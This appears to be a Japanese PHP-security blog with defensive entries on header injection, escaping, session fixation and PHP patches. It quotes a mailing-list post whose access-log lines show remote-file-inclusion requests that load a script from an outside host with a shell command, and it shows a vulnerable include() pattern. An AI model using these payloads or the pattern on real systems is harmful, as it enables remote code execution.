PHPのmail関数は\r\n,\r,\nを無視するようになっていてmb_send_mail関数の方は、チェックするマクロがphp_mail(PHPの内部関数）の前のPHP_FUNCTION()の部分で実行されていたので、mb_send_mailを使っているとMailヘッダインジェクションが出来てSPAMの踏み台にされる。という問題がありました。PHPユーザの方は覚えていると思います。
同じ問題がhns（Perlの日記アプリ）にもあったのですね。
PHPのmail関数のチェックは余計なお世話、とも言えるチェックです。PHPに慣れて他の言語でプログラムを書くと同じようなミスをするかも知れません。ユーザ入力は全部、確実にチェックしていれば防げる問題ですね。
HTTPヘッダの挿入も問題があるので今のPHPは\r\n, \r, \n, \tはheader関数ではじく様になっています。
システムではじいていても攻撃されていたかは知っておくべきですし、システムが適当に安全に処理してくれるから、といって未確認のデータを外部システムには送るべきではありません。
Ajaxの間違いリスト。プログラマ的な間違いではなく、デザイン的な間違い。
5.1.0で直されていたはずなんですけど。記憶が確かなら。
え?という感じなのですがPHP 5.1.1, PHP 5.1.2にはシステムが初期化する配列にGLOBALSをチェックするコードを入れてなかったようです。自分では試してないですが簡単にチェックできるのでこのアドバイザリが間違っていることはないでしょう。
メモ。書く時間がないのでURLだけ。とりあえず面白そう。
追記：PHPエスケープ関連の検索でこのエントリを参照されたと思います。PHPでのエスケープ全般については以下のエントリを参照してください。
セキュリティmemoにaddslashesよるエスケープ処理でSQLインジェクションが可能なるという記事を見つけました。
私のセミナーを聞いたことがある方は「addslashesによるエスケープ処理は止めましょう」と言っていた事を覚えているでしょうか? mysql_real_escape_string()やpg_escape_string()等のデータベース専用のエスケープ関数を使いましょう、とも話しています。
ちなみにSQLiteを使っている場合はaddslashesでエスケープ処理はNGです。もっと根本的に間違っています。SQLiteではMS SQL Server, Sybaseと同様「’」は「”」とシングルクオートでエスケープします。
基本には忠実に :)
追記：
サーバとクライアントのエンコーディングが合っていないと問題が発生します。PostgreSQLの場合、SET文でクライアントエンコーディングを変えるのではなくpg_set_client_encoding()を利用してエンコーディングを変えないとならないです。MySQLでも同様にアプリからSET NAMESでエンコーディングを変えるのはNGです。
addslashesでエスケープして良い物はPHPスクリプトとなる文字列型データです。
Ajax普及目指すオープンソースプロジェクト「Open Ajax」をIBMやその他の会社がはじめた、とニュースリリースがりました。
ApacheとMozilla Pulicライセンスに基づき公開されるAjaxランタイムツールキットを提供するZimbraのサイトにデモアプリケーションがありました。メールとスケール管理のアプリケーションですが、ここまでやれば従来型のクライアントサーバ型アプリケーションと変わらない状態です。
http://zimbra.com/products/hosted_demo.php
「Skip Registration, go to Demo」ボタンを押せばデモアプリケーションを利用できます。日本語対応も考えられている（？）らしく日時は日本語で表示されていました。
オープンソース化されるツールキットはこちら。
http://zimbra.com/community/ajaxtk_download.html
ページを見れば分かりますが、ApacheかMPLのどちらかのライセンスを選択できるようになっています。
参考
http://zimbra.com/community/open_ajax.html
http://www.itmedia.co.jp/enterprise/articles/0602/02/news011.html
PHPのセッションID管理がいまひとつであることは
http://blog.ohgaki.net/index.php/yohgaki/2005/12/24/strict_sessioncric
にも書きました。PHP 5.1.2用のパッチですがsqliteと一緒にコンパイルするとsqlite用のvalidationパッチが含まれていないのでビルドできませんでした。
MomongaLinux用にsqliteも一緒にビルドできるパッチを作成したのでWikiに載せました。もちろんSQLiteをセッションID管理に使用しても厳格なセッションID管理になります。必要な方は是非どうぞ。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession
追記：
厳格なセッションID管理を行うパッチを適用したPHPをインストールした後、php.iniに
session.use_strict_mode = 1
を追加してください。これを追加しないと厳格なセッションID管理になりません。
CVS HEADでは昨年11月にallow_url_includeオプションが追加されています。allow_url_fopenからinclude/require文の設定を分離するオプションです。
このオプションを付けると万が一、
$dir = $_GET[‘dir’];
…..
…..
include($dir.$file);
の様なコードがあってもhttp://, ftp:// は使えなくなります。(SSL/TLSも）ただしphp://inputは使えます。ですから今ひとつなパッチですが無いよりましです。
私がPHP 5.1.2用にバックポート（ほとんどオリジナルと同じですが）はこちらです。
http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2Fallow_url_include
PHP 4.4.2がリリースされました。
* Prevent header injection by limiting each header to a single line.
* Possible XSS inside error reporting functionality.
* Missing safe_mode/open_basedir checks into cURL extension.
* Apache 2 regression with sub-request handling on non-Linux systems.
* key() and current() regression related to references.
全部だったか覚えていませんが廣川さんがコミットしたmbstringモジュールの修正も含まれているはずです。
重要なセキュリティフィックスが含まれています。
* HTTP Response Splitting has been addressed in ext/session and in the header() function.
* Fixed format string vulnerability in ext/mysqli.
* Fixed possible cross-site scripting problems in certain error conditions.
* Hash & XMLWriter extensions added and enabled by default.
* Upgraded OCI8 extension.
* Over 85 various bug fixes.
最近のキャッシュサーバやクライアントはHTTP Response Splitting攻撃にある程度強くなっている、とはいえサーバの不備はサーバ管理者の責任ですから5.1を使っている方はアップグレードした方が良いと思います。
関連エントリ：
https://www.codeblog.org/blog/yohgaki/?date=20060113
webappsecでこんなメールを見かけました。
For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:45 -0500] “GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24083 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:46 -0500] “GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 30626 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:47 -0500] “GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24267 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:48 -0500] “GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24521 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:49 -0500] “GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 47471 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:50 -0500] “GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 25445 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:51 -0500] “GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24286 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:52 -0500] “GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29316 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:53 -0500] “GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29892 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:54 -0500] “GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 28338 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:55 -0500] “GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24073 “-” “lwp-trivial/1.35”The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
and the many scripts it uses/looks for.Working Referenced Links
* http://www.sanicentrum.be/private/tool25.dot
* http://www.sanicentrum.be/private/writer25.dot
* http://www.sanicentrum.be/private/get25.dot
* http://www.sanicentrum.be/private/filed25.dot
* http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
* http://www.sanicentrum.be/private/copyd25.dot
* http://www.sanicentrum.be/private/flist25.dot
* http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)Non working (at this time)
* http://www.sanicentrum.be/private/safe25.dotI’ve contacted sans since the parent host *appears* to be hacked.
– Robert
http://www.cgisecurity.com/ Website Security News, and more!
http://www.cgisecurity.com/index.rss [RSS Feed]——————————————————————————-
Watchfire’s AppScan is the industry’s first and leading web application
security testing suite, and the only solution to provide comprehensive
remediation tasks at every level of the application. See for yourself.
Download AppScan 6.0 today.https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
——————————————————————————-
Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。
スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。
Hardedned PHPプロジェクトのStefan EsserさんがPHP SESSIONをより安全に運用するパッチを公開しています。
このパッチはPHPのセッション管理の問題に対応します。PHPのSESSIONモジュールがSession Fixation（セッションIDの固定化）に対して脆弱であることは随分前から広く（？）知られていました。このパッチを適用すればSession Fixation問題も随分改善します。
例えば、PHP SESSIONを利用しているサイトで
http://example.jp/index.php
と言うURLがクッキーを利用したセッション管理行っているとします。セッションデータが初期化されサーバに保存されているか、されていないかに関わらず、ブラウザが送信したクッキーによって指定されたセッションIDがそのまま使われます。このパッチはセッションIDのデータが無ければ、セッションIDを再生成してセッションを開始するよう動作が変わります。（通常のPHPのセッション管理はpermissiveなセッション管理と呼ばれています。パッチ適用後はstrictなセッション管理も選択できるようになります。）クッキーだけを使ったセッション管理では、セッションIDが固定化する問題はあまり深刻な問題ではありませんが、好ましい動作とは言いがたいです。
session.use_only_cookiesがoffの場合、問題は深刻です。
http://example.jp/index.php?PHPSESSID=123456
とすると、セッションデータが無い場合、セッションIDが123456になってしまいます。session.use_cookies=on設定（デフォルト値）でクッキーを利用するセッション管理でも、PHPSESSID=123456をクッキーに設定されます。つまり、デフォルトの状態のPHPのセッション管理はsession.use_only_cookiesがoffである為、普通にSession Fixationに脆弱になってしまいます。一応、サイト外のURLに埋め込まれたセッションIDを受け付けないようにするsession.referer_check設定もあるのですが、REFERERを使っているので十分な対策とはいえません。許可するドメインなどを記載する設定項目なので、当然ですが、デフォルトでは何も設定されていません。何も設定されていない時はREFERERチェックは行われません。
追記：色々書いていますが、要するにデフォルト設定のPHPだとSession Fixationに脆弱である、と言うことです。
より厳格なセッションID管理を行うには、パッチを適用後、
session.use_strict_mode = on
と設定するだけです。
このパッチを適用するとユーザ定義セッションセーブハンドラで以下の2つの関数が利用（定義）できるようになります。
string create_sid()
bool validate_sid($key)
create_sid関数は新しいセッションIDを作成します。
validate_sid関数は$keyが正しいかチェックします。
ところで、デフォルトではsession.use_only_cookiesはoffに設定されています。しかし、普通のサイトはsession.use_only_cookiesはONで運用するべきです。もし、offで運用されている場合、強くONに変更して運用することをお勧めします。先ほども書きましたが、session.use_only_cookies=onであればSession Fixation問題はそれほど重大な問題とは言えません。パッチを適用していない場合でもsession.use_only_cookies=onであればそれほど心配する必要はありません。
# 随分古いInternet ExplorerではXMLHttpRequestで他のサイトにリクエスト
# を送信できたりしました。しかし、今は出来ないのでクッキーを利用した
# セッション管理に対して効果的なSession Fixation攻撃は出来ないと思い
# ます。
例えば、DELLのショッピングサイトなどはIEしかサポートしていません。
FirefoxのUser Agent Switcherを使えばDELLのショッピングサイトでもLinux+Firefoxでも発注できる（多少問題はありますが）ので致命的とは言えませんが、普通にFirefoxをサポートしてくれるようになってほしいですね。
Mac用IEの終了でFirefoxサポートが加速される?!
グーグルローカルではかなり複雑なJavaScriptを利用しているのですが「これでトラブルは発生していないのかな?」と思っていたらやはり結構苦労が多いようです。
1. Internet Explorer を起動し、[ツール] をクリックします。
2. [インターネット オプション] を選択します。
3. [全般] が選択されていない場合は、[全般] をクリックします。
4. [インターネット一時ファイル] で [ファイルの削除…] をクリックします。
5. [OK] をクリックして終了します。
これは基本ですよね。理由は知りませんが大量のキャッシュファイルが残ると何もかもおかしくなってしまいます。設定をはるかに超える量のキャッシュがキャッシュディレクトリに残ってしまう事があります。全てのファイルを消すまでに1時間以上かかったケースを目の当りにした事も…
ところで、URLを見ると.pyなのでpythonなのかな?
http://local.google.co.jp/support/bin/answer.py?answer=21849
ちなみにMSの http://local.live.com/ ですがFirefox 1.5（Windows版）でアクセスするとクリックしないとドラッグしたままになる問題がありました。Firefox 1.0（Linux版）では問題なくドラックできました。Firefoxを利用してlocal.live.comでズームするとlocal.google.comの地図をIEでズームした様に画像がズームアップしていきます。Firefoxでも同じ事がやろうと思えばできるんですね。
衛星画像ですがlocal.live.comの方がより細かい画像でした。しかし、場所によっては夜に撮影したと思われる画像もありました。少なくともNew York市の衛星写真は夜撮影したと思われる画像でした。
MS、Google両方ともアメリカの地図であれば経路検索もできるようになっていました。カーナビがGoogle化する日も近い?! G-Book危うし?!
今の所ベータ版のようですがJNSAから「JNSAセキュアシステム開発ガイドライン」という文書が公開されています。
非常に細かい部分では追加・修正しても良いのかな?と思える部分もありますが、全体としては非常に良い文書だと思います。Webシステム開発で不十分なRFPをもらった時には利用させてもらいます。確かJNSAの文書は会員でないと自由にダウンロードできなかったので正式版になる前に非会員はダウンロードできなくなると思います。参考にされたい方はダウンロードはお早めに!?